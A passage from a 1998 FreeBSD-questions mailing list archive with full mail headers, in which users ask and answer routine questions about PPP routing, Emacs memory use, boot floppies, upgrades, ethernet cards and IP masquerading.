QAA20563; Sat, 11 Apr 1998 16:34:40 +0930 (CST) Received: (from grog@localhost) by freebie.lemis.com (8.8.8/8.8.7) id QAA19452; Sat, 11 Apr 1998 16:34:39 +0930 (CST) (envelope-from grog) Message-ID: <19980411163439.63045@freebie.lemis.com> Date: Sat, 11 Apr 1998 16:34:39 +0930 From: Greg Lehey To: Thomas Dean , questions@FreeBSD.ORG Subject: Re: Emacs E-Mail Slow References: <199804110617.XAA04228@ix.netcom.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.89i In-Reply-To: <199804110617.XAA04228@ix.netcom.com>; from Thomas Dean on Fri, Apr 10, 1998 at 11:17:09PM -0700 WWW-Home-Page: http://www.lemis.com/~grog Organization: LEMIS, PO Box 460, Echunga SA 5153, Australia Phone: +61-8-8388-8286 Fax: +61-8-8388-8725 Mobile: +61-41-739-7062 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Fri, 10 April 1998 at 23:17:09 -0700, Thomas Dean wrote: > I have been using Emacs 19.34.1 for E-Mail. After processing about a > hundred messages and being on line for an hour, or so, things get very > slow. Getting mail from /var/mqueue/* takes a long time. It takes > 20 to 30 seconds to sort a hundred headers. This is a -CURRENT kernel. Please ask your questions on -current, not -questions. Yes, this may not be relevant to -CURRENT, but it may. I can't see any other obvious reason (one might be that Emacs grows so big that it's really "Eighty Megabytes And Continually Swapping", but it might be something more sinister. > If I save RMAIL, delete the buffer, and, read mail, things return to > normal. That points to memory size. Greg -- See complete headers for address and phone numbers finger grog@lemis.com for PGP public key To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sat Apr 11 00:10:52 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id AAA23042 for freebsd-questions-outgoing; Sat, 11 Apr 1998 00:10:52 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from odyssey.apana.org.au (odyssey.apana.org.au [203.11.114.1]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id AAA23032 for ; Sat, 11 Apr 1998 00:10:38 -0700 (PDT) (envelope-from dean@odyssey.apana.org.au) Received: from localhost (dean@localhost) by odyssey.apana.org.au (8.8.7/8.8.7) with SMTP id PAA03656; Sat, 11 Apr 1998 15:10:43 +0800 (WST) Date: Sat, 11 Apr 1998 15:10:42 +0800 (WST) From: Dean Hollister To: Doug White cc: Gavin Cameron , questions@FreeBSD.ORG Subject: Re: Upgrade question (fwd) In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Sat, 11 Apr 1998, Doug White wrote: > I always felt that the `make world' upgrade path was the hard way. I > always use the boot floppy -> select `upgrade' method but that's me. As a side issue, we're running 3.0-970807-SNAP. How "safe" would it be to upgrade to 2.2.6? Regards, d. +-------------------------------------------------------+ | Dean Hollister, | dean@odyssey.apana.org.au | | Perth, Western Australia. | deanh@iinet.net.au | +-------------------------------------------------------+ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sat Apr 11 00:17:21 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id AAA23763 for freebsd-questions-outgoing; Sat, 11 Apr 1998 00:17:21 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from mailgw01.execpc.com (mailgw01.execpc.com [169.207.16.9]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id AAA23757 for ; Sat, 11 Apr 1998 00:17:17 -0700 (PDT) (envelope-from fpawlak@execpc.com) Received: from darkstar.connect.com (aargau-100.mdm.mke.execpc.com [169.207.85.228]) by mailgw01.execpc.com (8.8.8) id HAA01522; Sat, 11 Apr 1998 07:17:15 GMT Received: from darkstar.connect.com (localhost [127.0.0.1]) by darkstar.connect.com (8.8.8/8.8.8) with ESMTP id CAA16940; Sat, 11 Apr 1998 02:16:38 -0500 (CDT) Message-Id: <199804110716.CAA16940@darkstar.connect.com> Date: Sat, 11 Apr 1998 02:16:36 -0500 (CDT) From: Frank Pawlak Subject: Re: extremely annoying problem :( To: kzinti@iti2.net cc: Kzinti@cougar.iti2.net, freebsd-questions@FreeBSD.ORG In-Reply-To: <352F13E2.1AE2@iti2.net> MIME-Version: 1.0 Content-Type: TEXT/plain; CHARSET=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On 11 Apr, Kzinti wrote: > I'm having a really nasty problem with PPP... The problem only occurs > after I make world, and reboot. I then connect to my isp, and for some > unknown reason whenever I try to ping a site it says ping: sendto: no > route to host. After the connection to the isp is negotiated NO data is > sent nor received... No configuration files such as rc.conf have been > edited, although I think the problem is rooted somewhere in there... I > have taken the question to the #freebsd channel on EFnet, where some > people said the config files were probably either overwritten by me (not > make world) or it is something else. This problem has occured *every > single time I have ever used make world). different distributions and > all. > Dean Thomson > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-questions" in the body of the message Check /etc/resolv.conf. It should contain your ISP somain name and the IP address of their DNS server. Frank -- ----------------------------- "At no time is freedom of speech more precious then when a man hits his thumb with a hammer." -- Marshall Lumsden To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sat Apr 11 00:18:50 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id AAA23929 for freebsd-questions-outgoing; Sat, 11 Apr 1998 00:18:50 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from gdi.uoregon.edu (gdi.uoregon.edu [128.223.170.30]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id AAA23793 for ; Sat, 11 Apr 1998 00:17:45 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Received: from localhost (dwhite@localhost) by gdi.uoregon.edu (8.8.7/8.8.8) with SMTP id AAA28789; Sat, 11 Apr 1998 00:17:43 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Date: Sat, 11 Apr 1998 00:17:42 -0700 (PDT) From: Doug White Reply-To: Doug White To: MDJ cc: freebsd-questions@FreeBSD.ORG Subject: Re: ed1: timeout In-Reply-To: <199804110453.VAA06090@rembrandt.artnet.net> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Fri, 10 Apr 1998, MDJ wrote: > I am having a problem with my ethernet card: > ed1:timeout - error keeps showing up > I am not quite sure how to change the ed0/de0 entry. Check your connections first; I have a NE2000 that drops interrupts when the ethernet cord is out. You can't configure PCI cards, they're self-configuring. check your bios. Doug White | University of Oregon Internet: dwhite@resnet.uoregon.edu | Residence Networking Assistant http://gladstone.uoregon.edu/~dwhite | Computer Science Major To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sat Apr 11 00:17:54 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id AAA23807 for freebsd-questions-outgoing; Sat, 11 Apr 1998 00:17:54 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from smtp01.primenet.com (smtp01.primenet.com [206.165.6.131]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id AAA23798 for ; Sat, 11 Apr 1998 00:17:49 -0700 (PDT) (envelope-from bkogawa@primenet.com) Received: (from daemon@localhost) by smtp01.primenet.com (8.8.8/8.8.8) id AAA23363; Sat, 11 Apr 1998 00:17:41 -0700 (MST) Received: from ip205.sjc.primenet.com(206.165.96.205), claiming to be "foo.primenet.com" via SMTP by smtp01.primenet.com, id smtpd023336; Sat Apr 11 00:17:34 1998 Received: (from bkogawa@localhost) by foo.primenet.com (8.8.8/8.8.6) id AAA10461; Sat, 11 Apr 1998 00:18:20 -0700 (PDT) Date: Sat, 11 Apr 1998 00:18:20 -0700 (PDT) Message-Id: <199804110718.AAA10461@foo.primenet.com> To: walton@nordicdms.com Subject: Re: Fw: Your Article "Freeware: The Heart & Soul of the Internet Newsgroups: localhost.freebsd.questions From: "Bryan K. Ogawa" Cc: Giao Nguyen , freebsd-questions@FreeBSD.ORG X-Newsreader: NN version 6.5.0 #1 (NOV) Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG In localhost.freebsd.questions you write: >What's Xig? Xi's AccelX server. See http://www.xig.com/ It costs US$100, but it is (more) easily configured than XFree, it supports more video hardware, and it is generally faster. I run v3.1 because the card I have is more stable under Xig and previously wasn't supported by XFree. -- bryan k ogawa http://www.primenet.com/~bkogawa/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sat Apr 11 00:21:54 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id AAA25005 for freebsd-questions-outgoing; Sat, 11 Apr 1998 00:21:54 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from gdi.uoregon.edu (gdi.uoregon.edu [128.223.170.30]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id AAA24948 for ; Sat, 11 Apr 1998 00:21:40 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Received: from localhost (dwhite@localhost) by gdi.uoregon.edu (8.8.7/8.8.8) with SMTP id AAA28798; Sat, 11 Apr 1998 00:21:36 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Date: Sat, 11 Apr 1998 00:21:36 -0700 (PDT) From: Doug White Reply-To: Doug White To: "Jason C. Wells" cc: FreeBSD-questions Subject: Re: Removing apm0 causes hang at boot. In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Fri, 10 Apr 1998, Jason C. Wells wrote: > A long time ago I had trouble with this kernel device. > > The removal of the apm0 device causes the boot to hang before the > initial "Copyright (c) 1992-1997 FreeBSD Inc." mesg comes up. Odd. Can you boot the GENERIC kernel okay? Sounds like you took out sc0 by mistake. Doug White | University of Oregon Internet: dwhite@resnet.uoregon.edu | Residence Networking Assistant http://gladstone.uoregon.edu/~dwhite | Computer Science Major To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sat Apr 11 00:24:38 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id AAA25906 for freebsd-questions-outgoing; Sat, 11 Apr 1998 00:24:38 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from gdi.uoregon.edu (gdi.uoregon.edu [128.223.170.30]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id AAA25898 for ; Sat, 11 Apr 1998 00:24:34 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Received: from localhost (dwhite@localhost) by gdi.uoregon.edu (8.8.7/8.8.8) with SMTP id AAA28806; Sat, 11 Apr 1998 00:24:32 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Date: Sat, 11 Apr 1998 00:24:32 -0700 (PDT) From: Doug White Reply-To: Doug White To: "mail.sirinet.net" cc: freebsd-questions@FreeBSD.ORG Subject: Re: Problem with the boot floppy image. In-Reply-To: <000701bd6509$74fd24a0$575003cf@default> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Sat, 11 Apr 1998, mail.sirinet.net wrote: > I bought my first computer (AMD-K6) in February and became interested in > installing Free BSD. After downloading the boot.flp file I noticed the > file was 1.40 MB. But when I formatted my 1.44 MB disk, it only leaves > 1.38 left over, and i am unable to transfer it to my disk. I have > access to 2.0 MB disks, and 1.0 GB SparQ disks, but the FAQ says BSD > requires 1.44 MB disks. What am I doing wrong? You're using copy. :) Use the fdimage or rawrite program to write the image to the floppy. These should be available where you found the floppy image in tools/. Doug White | University of Oregon Internet: dwhite@resnet.uoregon.edu | Residence Networking Assistant http://gladstone.uoregon.edu/~dwhite | Computer Science Major To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sat Apr 11 00:26:53 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id AAA26372 for freebsd-questions-outgoing; Sat, 11 Apr 1998 00:26:53 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from gdi.uoregon.edu (gdi.uoregon.edu [128.223.170.30]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id AAA26367 for ; Sat, 11 Apr 1998 00:26:41 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Received: from localhost (dwhite@localhost) by gdi.uoregon.edu (8.8.7/8.8.8) with SMTP id AAA28813; Sat, 11 Apr 1998 00:26:39 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Date: Sat, 11 Apr 1998 00:26:39 -0700 (PDT) From: Doug White Reply-To: Doug White To: Thomas Dean cc: questions@FreeBSD.ORG Subject: Re: Emacs E-Mail Slow In-Reply-To: <199804110617.XAA04228@ix.netcom.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Fri, 10 Apr 1998, Thomas Dean wrote: > I have been using Emacs 19.34.1 for E-Mail. After processing about a > hundred messages and being on line for an hour, or so, things get very > slow. Getting mail from /var/mqueue/* takes a long time. It takes > 20 to 30 seconds to sort a hundred headers. > > If I save RMAIL, delete the buffer, and, read mail, things return to > normal. Sounds like a memory leak in Emacs. I'd suggest a different mail agent. Doug White | University of Oregon Internet: dwhite@resnet.uoregon.edu | Residence Networking Assistant http://gladstone.uoregon.edu/~dwhite | Computer Science Major To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sat Apr 11 00:27:38 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id AAA26837 for freebsd-questions-outgoing; Sat, 11 Apr 1998 00:27:38 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from gdi.uoregon.edu (gdi.uoregon.edu [128.223.170.30]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id AAA26754 for ; Sat, 11 Apr 1998 00:27:29 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Received: from localhost (dwhite@localhost) by gdi.uoregon.edu (8.8.7/8.8.8) with SMTP id AAA28817; Sat, 11 Apr 1998 00:27:27 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Date: Sat, 11 Apr 1998 00:27:27 -0700 (PDT) From: Doug White Reply-To: Doug White To: kzinti@iti2.net cc: freebsd-questions@FreeBSD.ORG Subject: Re: extremely annoying problem :( In-Reply-To: <352F13E2.1AE2@iti2.net> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Sat, 11 Apr 1998, Kzinti wrote: > I'm having a really nasty problem with PPP... The problem only occurs > after I make world, and reboot. I then connect to my isp, and for some > unknown reason whenever I try to ping a site it says ping: sendto: no > route to host. Are you remembering to do `add 0 0 HISADDR' after connecting? Are you getting the PPP> prompt? Doug White | University of Oregon Internet: dwhite@resnet.uoregon.edu | Residence Networking Assistant http://gladstone.uoregon.edu/~dwhite | Computer Science Major To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sat Apr 11 00:29:51 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id AAA27797 for freebsd-questions-outgoing; Sat, 11 Apr 1998 00:29:51 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from gdi.uoregon.edu (gdi.uoregon.edu [128.223.170.30]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id AAA27705 for ; Sat, 11 Apr 1998 00:29:41 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Received: from localhost (dwhite@localhost) by gdi.uoregon.edu (8.8.7/8.8.8) with SMTP id AAA28821; Sat, 11 Apr 1998 00:28:33 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Date: Sat, 11 Apr 1998 00:28:32 -0700 (PDT) From: Doug White Reply-To: Doug White To: Dean Hollister cc: Gavin Cameron , questions@FreeBSD.ORG Subject: Re: Upgrade question (fwd) In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Sat, 11 Apr 1998, Dean Hollister wrote: > On Sat, 11 Apr 1998, Doug White wrote: > > > I always felt that the `make world' upgrade path was the hard way. I > > always use the boot floppy -> select `upgrade' method but that's me. > > As a side issue, we're running 3.0-970807-SNAP. How "safe" would it be to > upgrade to 2.2.6? That is *not* safe since you are going back entire branches, and things have changed in 3.0 that are not backwards compatible to 2.2.x. Doug White | University of Oregon Internet: dwhite@resnet.uoregon.edu | Residence Networking Assistant http://gladstone.uoregon.edu/~dwhite | Computer Science Major To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sat Apr 11 00:35:39 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id AAA29075 for freebsd-questions-outgoing; Sat, 11 Apr 1998 00:35:39 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from itw.itworks.com.au (root@itw.itworks.com.au [203.32.61.6]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id AAA29061 for ; Sat, 11 Apr 1998 00:35:30 -0700 (PDT) (envelope-from gavin@itworks.com.au) Received: from localhost (gavin@localhost) by itw.itworks.com.au (8.8.8/8.8.5) with SMTP id RAA03772; Sat, 11 Apr 1998 17:34:28 +1000 (EST) Date: Sat, 11 Apr 1998 17:34:27 +1000 (EST) From: Gavin Cameron To: Doug White cc: questions@FreeBSD.ORG Subject: Re: Upgrade question (fwd) In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Sat, 11 Apr 1998, Doug White wrote: > On Sat, 11 Apr 1998, Gavin Cameron wrote: > > > > Email, WWW server, squid proxy, router running ip-filter, majordomo > > Machine is running 2.1.6-RELEASE > > > > Can I upgrade the machine by doing a make world of stable and compiling a > > new kernel? > > I always felt that the `make world' upgrade path was the hard way. I > always use the boot floppy -> select `upgrade' method but that's me. > If I was going to upgrade via a make world should I 1) make a kernel, reboot and make world, or 2) make world, make a kernel and reboot? TIA Gavin To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sat Apr 11 00:47:53 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id AAA01601 for freebsd-questions-outgoing; Sat, 11 Apr 1998 00:47:53 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from ix.netcom.com (sil-wa2-23.ix.netcom.com [206.214.137.55]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id AAA01506 for ; Sat, 11 Apr 1998 00:47:46 -0700 (PDT) (envelope-from tomdean@ix.netcom.com) Received: (from tomdean@localhost) by ix.netcom.com (8.8.8/8.8.8) id AAA04607; Sat, 11 Apr 1998 00:47:06 -0700 (PDT) (envelope-from tomdean) Date: Sat, 11 Apr 1998 00:47:06 -0700 (PDT) Message-Id: <199804110747.AAA04607@ix.netcom.com> From: Thomas Dean To: grog@lemis.com CC: questions@FreeBSD.ORG In-reply-to: <19980411163439.63045@freebie.lemis.com> (message from Greg Lehey on Sat, 11 Apr 1998 16:34:39 +0930) Subject: Re: Emacs E-Mail Slow Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hi Greg, Thanks for the reply. I will post the message to -current. I believe we have discussed this before. I installed the latest port of emacs and thought the problem went away. Actually, I did not have it up long enough. I have this same problem over several versions of -current. All xterms seem normal. The process is not swapping, the disk is not being accessed. Emacs appears to have 6M of swap. At least if I exit and restart emacs, swap usage changes by 6M. But, the disk is not making any noise and the accessed led is not on. top shows: last pid: 4401; load averages: 0.12, 0.05, 0.01 00:19:12 38 processes: 1 running, 37 sleeping CPU states: 11.0% user, 0.0% nice, 15.1% system, 0.4% interrupt, 73.6% idle Mem: 13M Active, 2128K Inact, 6736K Wired, 1300K Cache, 3506K Buf, 6572K Free Swap: 227M Total, 24M Used, 204M Free, 10% Inuse PID USERNAME PRI NICE SIZE RES STATE C TIME WCPU CPU COMMAND 259 tomdean 2 0 716K 708K select 1 0:16 4.62% 4.62% xterm 4401 tomdean 28 0 816K 752K CPU1 1 0:01 2.26% 1.98% top 181 root 2 0 5568K 5212K select 0 14:41 1.56% 1.56% XF86_SVGA 302 tomdean 2 0 5252K 4868K select 0 11:12 0.57% 0.57% emacs 162 root 2 0 436K 300K select 0 8:18 0.00% 0.00% ppp 266 tomdean 2 0 620K 448K select 0 0:21 0.00% 0.00% twm 279 tomdean 18 0 272K 352K pause 1 0:19 0.00% 0.00% fetchmail /proc/302/map has 44 entries. ======================================================== If I exit emacs and restart it, top shows: last pid: 4533; load averages: 0.12, 0.09, 0.02 00:30:13 37 processes: 1 running, 36 sleeping CPU states: 1.0% user, 0.0% nice, 1.4% system, 0.4% interrupt, 97.3% idle Mem: 11M Active, 3344K Inact, 6752K Wired, 2544K Cache, 3498K Buf, 6020K Free Swap: 227M Total, 18M Used, 209M Free, 8% Inuse PID USERNAME PRI NICE SIZE RES STATE C TIME WCPU CPU COMMAND 4526 tomdean 2 0 3012K 3808K select 0 0:03 2.24% 2.10% emacs 181 root 2 0 5568K 5792K select 0 14:57 1.98% 1.98% XF86_SVGA 4530 tomdean 28 0 816K 772K CPU1 0 0:00 1.29% 0.95% top 266 tomdean 2 0 620K 660K select 0 0:22 0.04% 0.04% twm 259 tomdean 2 0 716K 900K select 0 0:20 0.04% 0.04% xterm /proc/4526/map has 34 entries. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sat Apr 11 00:48:56 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id AAA02038 for freebsd-questions-outgoing; Sat, 11 Apr 1998 00:48:56 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from pan.wt.net (pan.wt.net [205.230.159.31]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id AAA01981 for ; Sat, 11 Apr 1998 00:48:46 -0700 (PDT) (envelope-from thepro@wt.net) Received: from wt.net (208-236-17-10.wt.net [208.236.17.10]) by pan.wt.net (8.8.8/8.7.3) with ESMTP id CAA22542 for ; Sat, 11 Apr 1998 02:48:43 -0500 Message-ID: <352F1FC6.83496924@wt.net> Date: Sat, 11 Apr 1998 02:46:14 -0500 From: El Diablo X-Mailer: Mozilla 4.05 [en] (Win95; I) MIME-Version: 1.0 To: freebsd-questions@FreeBSD.ORG Subject: quake2 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG is it possible to run the linux binary for quake2 under bsd? i not wanting to play the game but run it as a server in CLI mode. when i try to execute it this is what i get: # ./quake2 ELF interpreter /compat/linux/lib/ld-linux.so.1 not found Abort trap # matt thanks To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sat Apr 11 00:55:34 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id AAA03242 for freebsd-questions-outgoing; Sat, 11 Apr 1998 00:55:34 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from darius.concentric.net (darius.concentric.net [207.155.184.79]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id AAA03237 for ; Sat, 11 Apr 1998 00:55:30 -0700 (PDT) (envelope-from jasonc@concentric.net) Received: from mcfeely.concentric.net (mcfeely.concentric.net [207.155.184.83]) by darius.concentric.net (8.8.8/(98/01/20 5.9)) id DAA29735; Sat, 11 Apr 1998 03:55:30 -0400 (EDT) [1-800-745-2747 The Concentric Network] Received: from k6-200 (ts001d19.lan-mi.concentric.net [206.173.98.31]) by mcfeely.concentric.net (8.8.8) id DAA26538; Sat, 11 Apr 1998 03:55:28 -0400 (EDT) Message-ID: <008f01bd651f$63ee6000$023aa8c0@k6-200> From: "Jason" To: Subject: Fw: IP Masquerade? | Proxy Server? Date: Sat, 11 Apr 1998 03:56:51 -0400 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 4.72.3110.1 X-MimeOLE: Produced By Microsoft MimeOLE V4.72.3110.0 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I was informed that that this eeds to be addressed here and not in the FreeBSD-Newbies. This is my first time ever using this program and I already have an advanced question :) If you can help me out I would be greatly appreciated. I have many more questions before I actually take the plunge with this potentially winderful O/S. -----Original Message----- Date: Friday, April 10, 1998 8:54 PM Subject: Re: IP Masquerade? | Proxy Server? >On Fri, Apr 10, 1998 at 08:28:23PM -0400, Jason wrote: >> Is there a way to do this through an internet connection on a second network >> card? The problem I have here is that I need to be able to make all my >> computers work under a single IP. I have on running a proxy under win95 >> right now but there has to be a transparent way to do this under FreeBSD. I >> have one computer with two network cards and all the others with just one. >> The router I pass through to get to the internet filters all but my one mac >> address on all ethernet packets I try to send. So I need something to spoof >> this router into thinking everything is coming from the same mac address > >This is getting a little beyond the scope of a nontechnical discussion among >newbies. If the documentation and the tutorial mentioned don't cover your >question, then a few other people will be looking for the answer too, >whether they are newbies or not. They'll expect to see this asked and >answered on freebsd-questions@freebsd.org, where questions at all levels are >usually dealt with. > >You don't have to subscribe to freebsd-questions to send a question (and get >an answer by email) but you might have further questions as you work on >this, in which case you might find it more convenient to subscribe to >freebsd-questions anyway. You can get a few more ideas from >http://www.welearn.com.au/freebsd/newbies > >Good luck! > >-- > >Regards, > -*Sue*- > >find / -name "*.conf" |more > > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sat Apr 11 01:36:41 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id BAA08197 for freebsd-questions-outgoing; Sat, 11 Apr 1998 01:36:41 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from dart.sr.se (dart.SR.SE [193.12.91.98]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id BAA08161 for ; Sat, 11 Apr 1998 01:36:36 -0700 (PDT) (envelope-from flygt@sr.se) Received: (from smap@localhost) by dart.sr.se (8.8.2/8.7.3) id KAA09613 for ; Sat, 11 Apr 1998 10:36:34 +0200 (MET DST) Received: from unknown(134.25.128.27) by dart.sr.se via smap (V1.3) id sma009607; Sat Apr 11 10:36:30 1998 Received: from stab.sr.se (stab.SR.SE [134.25.128.8]) by honken.sr.se (8.7.5/8.7.3) with ESMTP id KAA15121 for ; Sat, 11 Apr 1998 10:36:30 +0200 (MET DST) Received: from STAB/SpoolDir by stab.sr.se (Mercury 1.31); 11 Apr 98 10:36:30 +0100 Received: from SpoolDir by STAB (Mercury 1.31); 11 Apr 98 10:36:09 +0100 Received: from sr.se by stab.sr.se (Mercury 1.31) with ESMTP; 11 Apr 98 10:36:06 +0100 Message-ID: <352F2B76.8D483C72@sr.se> Date: Sat, 11 Apr 1998 10:36:06 +0200 From: Gunnar Flygt X-Mailer: Mozilla 4.04 [en] (X11; I; FreeBSD 2.2.5-RELEASE i386) MIME-Version: 1.0 To: freebsd-questions@FreeBSD.ORG Subject: Pixmaps for xsetroot Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I have tried various bitmapformats to set as background in X, but I can't find what type it should be. I get the answer "wrong bitmapformat" with allt the types I've tested. What should I use, and where can I find some nice examples? /Gunnar To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sat Apr 11 01:41:53 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id BAA09218 for freebsd-questions-outgoing; Sat, 11 Apr 1998 01:41:53 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from awfulhak.org (awfulhak.demon.co.uk [158.152.17.1]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id BAA09162 for ; Sat, 11 Apr 1998 01:41:44 -0700 (PDT) (envelope-from brian@Awfulhak.org) Received: 